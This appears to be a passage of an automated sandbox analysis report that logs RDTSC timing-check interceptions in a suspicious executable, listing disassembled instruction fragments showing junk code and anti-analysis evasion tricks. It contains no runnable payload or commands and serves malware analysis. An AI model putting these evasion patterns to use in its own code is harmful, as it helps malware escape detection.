Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D60941 second address: 4D5000C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 mov esi, edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, esi 0x0000000c pushad 0x0000000d call 00007EFC34B89EA3h 0x00000012 jmp 00007EFC34B89EA8h 0x00000017 pop esi 0x00000018 popad 0x00000019 pop esi 0x0000001a jmp 00007EFC34B89E9Ch 0x0000001f leave 0x00000020 pushad 0x00000021 mov eax, 0D3C1D8Dh 0x00000026 pushfd 0x00000027 jmp 00007EFC34B89E9Ah 0x0000002c adc ax, E9A8h 0x00000031 jmp 00007EFC34B89E9Bh 0x00000036 popfd 0x00000037 popad 0x00000038 retn 0004h 0x0000003b nop 0x0000003c sub esp, 04h 0x0000003f xor ebx, ebx 0x00000041 cmp eax, 00000000h 0x00000044 je 00007EFC34B89FFAh 0x0000004a mov dword ptr [esp], 0000000Dh 0x00000051 call 00007EFC39746031h 0x00000056 mov edi, edi 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b mov bx, 66DEh 0x0000005f pushad 0x00000060 popad 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D5000C second address: 4D50012 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50012 second address: 4D5006E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89E9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007EFC34B89EA0h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007EFC34B89E9Ch 0x0000001b add ch, 00000008h 0x0000001e jmp 00007EFC34B89E9Bh 0x00000023 popfd 0x00000024 jmp 00007EFC34B89EA8h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50180 second address: 4D501C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCE02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b jmp 00007EFC34FBCE01h 0x00000010 sub edi, edi 0x00000012 jmp 00007EFC34FBCE07h 0x00000017 inc ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D501C9 second address: 4D501CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D501CD second address: 4D501D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D501D3 second address: 4D501D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D501D8 second address: 4D5028C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, si 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test al, al 0x0000000c pushad 0x0000000d mov bh, cl 0x0000000f mov cx, di 0x00000012 popad 0x00000013 je 00007EFC34FBCFA5h 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007EFC34FBCDFBh 0x00000020 or cx, A16Eh 0x00000025 jmp 00007EFC34FBCE09h 0x0000002a popfd 0x0000002b call 00007EFC34FBCE00h 0x00000030 pushfd 0x00000031 jmp 00007EFC34FBCE02h 0x00000036 jmp 00007EFC34FBCE05h 0x0000003b popfd 0x0000003c pop esi 0x0000003d popad 0x0000003e lea ecx, dword ptr [ebp-14h] 0x00000041 jmp 00007EFC34FBCE07h 0x00000046 mov dword ptr [ebp-14h], edi 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007EFC34FBCE05h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D5028C second address: 4D50292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50318 second address: 4D5031E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D5031E second address: 4D50324 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50324 second address: 4D50328 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D503AC second address: 4D503B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D503B2 second address: 4D503B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D503B6 second address: 4D50400 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-2Ch] 0x0000000b jmp 00007EFC34B89EA8h 0x00000010 xchg eax, esi 0x00000011 jmp 00007EFC34B89EA0h 0x00000016 push eax 0x00000017 jmp 00007EFC34B89E9Bh 0x0000001c xchg eax, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov esi, edx 0x00000022 mov ax, dx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50400 second address: 4D50413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFC34FBCDFFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50413 second address: 4D50417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50417 second address: 4D50433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007EFC34FBCE01h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50433 second address: 4D50486 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89EA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jmp 00007EFC34B89E9Eh 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007EFC34B89E9Dh 0x0000001b add si, 8646h 0x00000020 jmp 00007EFC34B89EA1h 0x00000025 popfd 0x00000026 movzx eax, di 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50486 second address: 4D504A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007EFC34FBCE08h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D504A4 second address: 4D504F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007EFC34B89E9Ch 0x0000000f add ah, 00000048h 0x00000012 jmp 00007EFC34B89E9Bh 0x00000017 popfd 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007EFC34B89EA6h 0x0000001f and eax, 06345FA8h 0x00000025 jmp 00007EFC34B89E9Bh 0x0000002a popfd 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D406F5 second address: 4D4071A instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007EFC34FBCE06h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D4071A second address: 4D40720 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D40720 second address: 4D4074D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCDFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007EFC34FBCE03h 0x00000014 mov ch, 3Fh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D4074D second address: 4D4076E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89EA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx esi, bx 0x00000010 mov si, dx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D4076E second address: 4D40774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D40774 second address: 4D407A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89E9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007EFC34B89EA0h 0x00000011 mov dword ptr [ebp-04h], 55534552h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D407A3 second address: 4D407AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 4B6Eh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D407CF second address: 4D407E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34B89EA3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50A54 second address: 4D50A82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007EFC34FBCE01h 0x00000009 add si, 3136h 0x0000000e jmp 00007EFC34FBCE01h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50A82 second address: 4D50AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c mov bx, E140h 0x00000010 mov eax, edi 0x00000012 popad 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007EFC34B89EA1h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50AAA second address: 4D50ABA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFC34FBCDFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50ABA second address: 4D50ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50B43 second address: 4D50B47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50B47 second address: 4D50B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov si, CD69h 0x0000000a popad 0x0000000b mov dword ptr [ebp-1Ch], esi 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007EFC34B89EA2h 0x00000015 sub ecx, 0D542C38h 0x0000001b jmp 00007EFC34B89E9Bh 0x00000020 popfd 0x00000021 push eax 0x00000022 push edx 0x00000023 mov edx, esi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50BB4 second address: 4D50BBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 136Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50BBD second address: 4D50BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test al, al 0x00000009 pushad 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007EFC34B89EA3h 0x00000011 xor ah, FFFFFFBEh 0x00000014 jmp 00007EFC34B89EA9h 0x00000019 popfd 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D50BFB second address: 4D50C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 mov dh, al 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D609D0 second address: 4D60A35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 12230C76h 0x00000008 pushfd 0x00000009 jmp 00007EFC34B89EA7h 0x0000000e and ecx, 09234CFEh 0x00000014 jmp 00007EFC34B89EA9h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e jmp 00007EFC34B89EA1h 0x00000023 xchg eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007EFC34B89E9Dh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D60A35 second address: 4D60A72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCE01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007EFC34FBCDFEh 0x00000010 xchg eax, esi 0x00000011 jmp 00007EFC34FBCE00h 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D60A72 second address: 4D60A8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89EA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D60A8E second address: 4D60ADF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007EFC34FBCE01h 0x00000009 xor cx, 8E06h 0x0000000e jmp 00007EFC34FBCE01h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, esi 0x00000018 pushad 0x00000019 mov esi, ebx 0x0000001b mov si, bx 0x0000001e popad 0x0000001f mov esi, dword ptr [ebp+0Ch] 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007EFC34FBCE03h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D60ADF second address: 4D60AE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D60AE5 second address: 4D60B46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007EFC34FBCE02h 0x00000009 adc cl, 00000038h 0x0000000c jmp 00007EFC34FBCDFBh 0x00000011 popfd 0x00000012 mov bx, si 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 test esi, esi 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007EFC34FBCE00h 0x00000021 sub cx, E498h 0x00000026 jmp 00007EFC34FBCDFBh 0x0000002b popfd 0x0000002c mov si, EA4Fh 0x00000030 popad 0x00000031 je 00007EFCA5CEA673h 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a movzx esi, di 0x0000003d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D60B46 second address: 4D60BCC instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007EFC34B89EA3h 0x00000008 adc al, 0000000Eh 0x0000000b jmp 00007EFC34B89EA9h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jmp 00007EFC34B89EA0h 0x00000018 popad 0x00000019 cmp dword ptr [75AF459Ch], 05h 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov ax, dx 0x00000026 pushfd 0x00000027 jmp 00007EFC34B89EA9h 0x0000002c and eax, 779A4FA6h 0x00000032 jmp 00007EFC34B89EA1h 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D60BCC second address: 4D60C1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCE01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007EFCA5D026ACh 0x0000000f jmp 00007EFC34FBCDFEh 0x00000014 xchg eax, esi 0x00000015 pushad 0x00000016 push eax 0x00000017 mov di, 7E90h 0x0000001b pop edi 0x0000001c movzx esi, bx 0x0000001f popad 0x00000020 push eax 0x00000021 jmp 00007EFC34FBCE00h 0x00000026 xchg eax, esi 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a mov dx, 84F0h 0x0000002e push ebx 0x0000002f pop esi 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D60C1D second address: 4D60C23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D60C65 second address: 4D60C6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D60CDD second address: 4D60D0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89E9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007EFC34B89EA6h 0x0000000f pop ebp 0x00000010 pushad 0x00000011 mov eax, 33D9881Dh 0x00000016 push eax 0x00000017 push edx 0x00000018 mov dx, si 0x0000001b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 608DDB7 second address: 608DDC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007EFC34FBCDF6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620B850 second address: 620B85A instructions: 0x00000000 rdtsc 0x00000002 jne 00007EFC34B89E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620AB83 second address: 620AB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620AB89 second address: 620AB8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620ACCD second address: 620ACD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620ACD3 second address: 620ACD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620AF5E second address: 620AF64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620AF64 second address: 620AF68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620AF68 second address: 620AF6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620B0B7 second address: 620B0D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007EFC34B89E96h 0x0000000d jmp 00007EFC34B89EA0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620DD50 second address: 620DD76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007EFC34FBCDF6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 push edi 0x00000014 jmp 00007EFC34FBCDFEh 0x00000019 pop edi 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620DD76 second address: 608DDB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pop eax 0x00000007 mov di, AC84h 0x0000000b push dword ptr [ebp+122D14FDh] 0x00000011 sub ecx, 286B7921h 0x00000017 call dword ptr [ebp+122D1CDDh] 0x0000001d pushad 0x0000001e jnl 00007EFC34B89E97h 0x00000024 xor eax, eax 0x00000026 jmp 00007EFC34B89E9Fh 0x0000002b mov edx, dword ptr [esp+28h] 0x0000002f cld 0x00000030 mov dword ptr [ebp+122D2D40h], eax 0x00000036 or dword ptr [ebp+122D1CD8h], esi 0x0000003c mov esi, 0000003Ch 0x00000041 xor dword ptr [ebp+122D2950h], edi 0x00000047 add esi, dword ptr [esp+24h] 0x0000004b sub dword ptr [ebp+122D1CD8h], edx 0x00000051 lodsw 0x00000053 or dword ptr [ebp+122D2950h], ebx 0x00000059 add eax, dword ptr [esp+24h] 0x0000005d jl 00007EFC34B89E97h 0x00000063 stc 0x00000064 mov ebx, dword ptr [esp+24h] 0x00000068 jl 00007EFC34B89EA2h 0x0000006e ja 00007EFC34B89E9Ch 0x00000074 mov dword ptr [ebp+122D1CD8h], edx 0x0000007a nop 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007EFC34B89EA9h 0x00000082 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620DDAD second address: 620DDC3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007EFC34FBCDF8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007EFC34FBCDF6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620DDC3 second address: 620DE08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007EFC34B89EA2h 0x0000000b popad 0x0000000c nop 0x0000000d jmp 00007EFC34B89E9Ah 0x00000012 mov dword ptr [ebp+122D598Ch], eax 0x00000018 push 00000000h 0x0000001a mov si, dx 0x0000001d push B7E90AC6h 0x00000022 pushad 0x00000023 push edi 0x00000024 jnc 00007EFC34B89E96h 0x0000002a pop edi 0x0000002b jc 00007EFC34B89E9Ch 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620DE08 second address: 620DE89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 4816F5BAh 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007EFC34FBCDF8h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 sub edx, 7911163Dh 0x0000002c push 00000003h 0x0000002e push 00000000h 0x00000030 mov esi, dword ptr [ebp+124523FDh] 0x00000036 push 00000003h 0x00000038 push 00000000h 0x0000003a push edi 0x0000003b call 00007EFC34FBCDF8h 0x00000040 pop edi 0x00000041 mov dword ptr [esp+04h], edi 0x00000045 add dword ptr [esp+04h], 0000001Dh 0x0000004d inc edi 0x0000004e push edi 0x0000004f ret 0x00000050 pop edi 0x00000051 ret 0x00000052 mov dword ptr [ebp+122D1CF1h], esi 0x00000058 cld 0x00000059 mov esi, edx 0x0000005b push CE9E3E16h 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007EFC34FBCDFDh 0x00000068 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620DE89 second address: 620DEA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89E9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620DEA0 second address: 620DEA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
